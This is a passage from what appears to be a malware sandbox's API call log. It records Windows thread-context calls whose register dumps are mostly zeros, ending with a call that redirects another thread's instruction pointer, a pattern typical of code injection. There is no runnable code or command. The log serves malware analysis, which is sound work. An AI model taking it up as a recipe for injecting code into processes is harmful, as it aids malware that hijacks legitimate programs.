[59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.505] NtGetContextThread (in: ThreadHandle=0x250, Context=0x3054100 | out: Context=0x3054100*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x278000, Edx=0x0, Ecx=0x0, Eax=0x4014d4, Ebp=0x0, Eip=0x779e4210, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.510] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.516] NtSetContextThread (ThreadHandle=0x250, Context=0x3054100*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x278000, Edx=0x0, Ecx=0x0, Eax=0x4014d4, Ebp=0x0, Eip=0x560000, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, 